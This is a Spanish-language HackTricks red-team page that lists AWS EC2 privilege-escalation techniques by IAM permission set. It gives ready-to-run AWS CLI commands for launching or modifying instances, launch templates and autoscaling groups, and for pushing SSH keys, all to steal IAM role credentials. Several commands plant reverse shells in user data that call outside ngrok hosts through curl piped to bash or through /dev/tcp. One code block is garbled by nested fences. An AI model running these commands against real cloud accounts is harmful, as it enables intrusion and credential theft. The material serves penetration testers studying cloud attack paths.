AWS - EC2 Privesc

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

EC2

Para más información sobre EC2 consulta:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Un atacante podría crear una instancia adjuntando un rol IAM y luego acceder a la instancia para robar las credenciales del rol IAM desde el punto de conexión de metadatos.

  • Acceso vía SSH

Ejecuta una nueva instancia usando una clave ssh creada (--key-name) y luego accede por ssh (si deseas crear una nueva, es posible que necesites tener el permiso ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Acceso a través de una shell inversa en datos de usuario

Puedes ejecutar una nueva instancia utilizando un dato de usuario (--user-data) que te enviará una shell inversa. No es necesario especificar un grupo de seguridad de esta manera.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Ten cuidado con GuardDuty si utilizas las credenciales del rol IAM fuera de la instancia:

pageAWS - GuardDuty Enum

Impacto potencial: Escalada directa a cualquier rol de EC2 adjunto a perfiles de instancia existentes.

Escalada de privilegios a ECS

Con este conjunto de permisos también podrías crear una instancia de EC2 y registrarla dentro de un clúster de ECS. De esta manera, los servicios de ECS se ejecutarán dentro de la instancia de EC2 a la que tienes acceso y luego podrás penetrar en esos servicios (contenedores de Docker) y robar los roles de ECS adjuntos.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Para aprender cómo forzar a los servicios de ECS a ejecutarse en esta nueva instancia de EC2, verifica:

pageAWS - ECS Privesc

Si no puedes crear una nueva instancia pero tienes el permiso ecs:RegisterContainerInstance, es posible que puedas registrar la instancia dentro del clúster y llevar a cabo el ataque comentado.

Impacto potencial: Escalada de privilegios directa a roles de ECS adjuntos a tareas.

iam:PassRole, iam:AddRoleToInstanceProfile

Similar al escenario anterior, un atacante con estos permisos podría cambiar el rol de IAM de una instancia comprometida para robar nuevas credenciales. Dado que un perfil de instancia solo puede tener 1 rol, si el perfil de instancia ya tiene un rol (caso común), también necesitarás iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Impacto potencial: Escalada de privilegios directa a un rol EC2 diferente (necesitas haber comprometido una instancia AWS EC2 y tener algunos permisos adicionales o un estado de perfil de instancia específico).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Con estos permisos es posible cambiar el perfil de instancia asociado a una instancia, por lo que si el ataque ya tenía acceso a una instancia, podrá robar credenciales para más roles de perfil de instancia cambiando el asociado a ella.

  • Si tiene un perfil de instancia, puedes eliminar el perfil de instancia (ec2:DisassociateIamInstanceProfile) y asociarlo *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • o reemplazar el perfil de instancia de la instancia comprometida (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
```md
## Escalada de privilegios en AWS EC2

El comando `aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<valor> --association-id <valor>`
```
```

Impacto potencial: Escalada de privilegios directa a un rol EC2 diferente (necesitas haber comprometido una instancia AWS EC2 y algunos permisos adicionales o un estado de perfil de instancia específico).

ec2:RequestSpotInstances,iam:PassRole

Un atacante con los permisos ec2:RequestSpotInstances y iam:PassRole puede solicitar una Instancia Spot con un Rol EC2 adjunto y un rev shell en los datos de usuario. Una vez que se ejecute la instancia, puede robar el rol IAM.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Un atacante con el permiso ec2:ModifyInstanceAttribute puede modificar los atributos de las instancias. Entre ellos, puede cambiar los datos de usuario, lo que implica que puede hacer que la instancia ejecute datos arbitrarios. Lo cual puede ser utilizado para obtener una shell reversa en la instancia EC2.

Ten en cuenta que los atributos solo se pueden modificar cuando la instancia está detenida, por lo que se necesitan los permisos ec2:StopInstances y ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Impacto potencial: Escalada de privilegios directa a cualquier Rol IAM de EC2 adjunto a una instancia creada.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Un atacante con los permisos ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplatey ec2:ModifyLaunchTemplate puede crear una nueva versión de Plantilla de Lanzamiento con un rev shell en los datos de usuario y cualquier Rol IAM de EC2 en él, cambiar la versión predeterminada y cualquier grupo de escalado automático que utilice esa Plantilla de Lanzamiento configurada para usar la última o la versión predeterminada volverá a ejecutar las instancias utilizando esa plantilla y ejecutará el rev shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Impacto potencial: Escalada de privilegios directa a un rol EC2 diferente.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Un atacante con los permisos autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole puede crear una Configuración de inicio con un Rol IAM y un rev shell dentro de los datos de usuario, luego crear un grupo de escalado automático a partir de esa configuración y esperar a que el rev shell robe el Rol IAM.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Impacto Potencial: Escalada de privilegios directos a un rol EC2 diferente.

!autoscaling

El conjunto de permisos ec2:CreateLaunchTemplate y autoscaling:CreateAutoScalingGroup no son suficientes para escalar privilegios a un rol IAM porque para adjuntar el rol especificado en la Configuración de inicio o en la Plantilla de inicio necesitas los permisos iam:PassRole y ec2:RunInstances (que es una escalada de privilegios conocida).

ec2-instance-connect:SendSSHPublicKey

Un atacante con el permiso ec2-instance-connect:SendSSHPublicKey puede agregar una clave ssh a un usuario y usarla para acceder (si tiene acceso ssh a la instancia) o para escalar privilegios.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Impacto Potencial: Escalada de privilegios directos a los roles IAM de EC2 adjuntos a las instancias en ejecución.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Un atacante con el permiso ec2-instance-connect:SendSerialConsoleSSHPublicKey puede agregar una clave ssh a una conexión serial. Si la conexión serial no está habilitada, el atacante necesita el permiso ec2:EnableSerialConsoleAccess para habilitarla.

Para conectarse al puerto serial también se necesita conocer el nombre de usuario y la contraseña de un usuario dentro de la máquina.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Este método no es tan útil para la escalada de privilegios ya que se necesita conocer un nombre de usuario y una contraseña para explotarlo.

Impacto potencial: (Altamente improbable) Escalada de privilegios directa a los roles IAM de EC2 adjuntos a las instancias en ejecución.

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización